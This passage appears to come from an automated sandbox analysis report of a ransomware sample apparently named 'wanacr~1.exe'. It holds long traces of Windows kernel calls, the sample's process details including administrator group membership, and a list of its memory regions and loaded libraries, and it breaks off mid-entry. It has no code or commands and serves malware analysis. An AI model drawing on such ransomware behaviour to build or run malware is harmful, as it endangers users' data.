(FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.125] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.126] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.127] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.127] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.130] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.130] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.130] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.131] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.131] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.131] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.132] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.136] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.136] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.136] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.136] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.137] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.383] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0135.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.385] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.385] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.449] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.449] EngAllocMem () returned 0xfffff90142521030 [0135.449] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.449] MmMapViewOfSection (in: SectionObject=0xffffc00001240af0, Process=0xffffe00001078440, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xdf3d930000, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff90142521370) returned 0x0 [0135.449] EngCreateBitmap () returned 0xffffffffaf050581 [0135.449] EngAssociateSurface () returned 0x1 [0135.449] EngLockSurface () returned 0xfffff901424ed2c8 [0135.449] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000010fcd10 [0135.449] KeInitializeEvent (in: Event=0xffffe000010fcd28, Type=0x1, State=0 | out: Event=0xffffe000010fcd28) [0135.449] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.450] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.457] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.458] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.525] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.525] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.581] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.642] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.705] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.705] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.705] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.748] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.749] EngAllocMem () returned 0xfffff901409e3ca0 [0135.749] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.749] MmMapViewOfSection (in: SectionObject=0xffffc000016b4230, Process=0xffffe00001078440, BaseAddress=0xfffff901409e3fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff901409e3fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901409e3fc8*=0xdf3d980000, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff901409e3fe0) returned 0x0 [0135.749] EngCreateBitmap () returned 0x16050703 [0135.749] EngAssociateSurface () returned 0x1 [0135.749] EngLockSurface () returned 0xfffff901400f55c8 [0135.749] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00000b1f1d0 [0135.749] KeInitializeEvent (in: Event=0xffffe00000b1f1e8, Type=0x1, State=0 | out: Event=0xffffe00000b1f1e8) [0135.749] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.751] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.751] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.751] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.751] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.751] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.752] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.752] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.767] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.768] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.826] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.858] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.858] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.884] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.884] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.912] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.912] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.974] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.974] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.007] IoGetCurrentProcess () returned 0xffffe00001078440 [0136.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0136.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.103] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xdf3d980000) returned 0x0 [0136.104] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xdf3a460000) returned 0x0 Process: id = "78" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x6ac000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "77" os_parent_pid = "0xa08" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9397 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9398 start_va = 0x4c3380000 end_va = 0x4c339ffff entry_point = 0x0 region_type = private name = "private_0x00000004c3380000" filename = "" Region: id = 9399 start_va = 0x4c33a0000 end_va = 0x4c33aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c33a0000" filename = "" Region: id = 9400 start_va = 0x4c33b0000 end_va = 0x4c37affff entry_point = 0x0 region_type = private name = "private_0x00000004c33b0000" filename = "" Region: id = 9401 start_va = 0x4c37b0000 end_va = 0x4c37b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c37b0000" filename = "" Region: id = 9402 start_va = 0x7ff6ce7e0000 end_va = 0x7ff6ce802fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce7e0000" filename = "" Region: id = 9403 start_va = 0x7ff6ce807000 end_va = 0x7ff6ce807fff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce807000" filename = "" Region: id = 9404 start_va = 0x7ff6ce80e000 end_va = 0x7ff6ce80ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce80e000" filename = "" Region: id = 9405 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 9406 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9407 start_va = 0x4c37c0000 end_va = 0x4c37c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c37c0000" filename = "" Region: id = 9408 start_va = 0x4c37d0000 end_va = 0x4c37d1fff entry_point = 0x0 region_type = private name = "private_0x00000004c37d0000" filename = "" Region: id = 9409 start_va = 0x4c38a0000 end_va = 0x4c3c9ffff entry_point = 0x0 region_type = private name = "private_0x00000004c38a0000" filename = "" Region: id = 9410 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9411 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9412 start_va = 0x4c3380000 end_va = 0x4c338ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3380000" filename = "" Region: id = 9413 start_va = 0x7ff6ce6e0000 end_va = 0x7ff6ce7dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce6e0000" filename = "" Region: id = 9414 start_va = 0x4c37e0000 end_va = 0x4c385dfff entry_point = 0x4c37e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9415 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 9416 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 9417 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 9418 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = 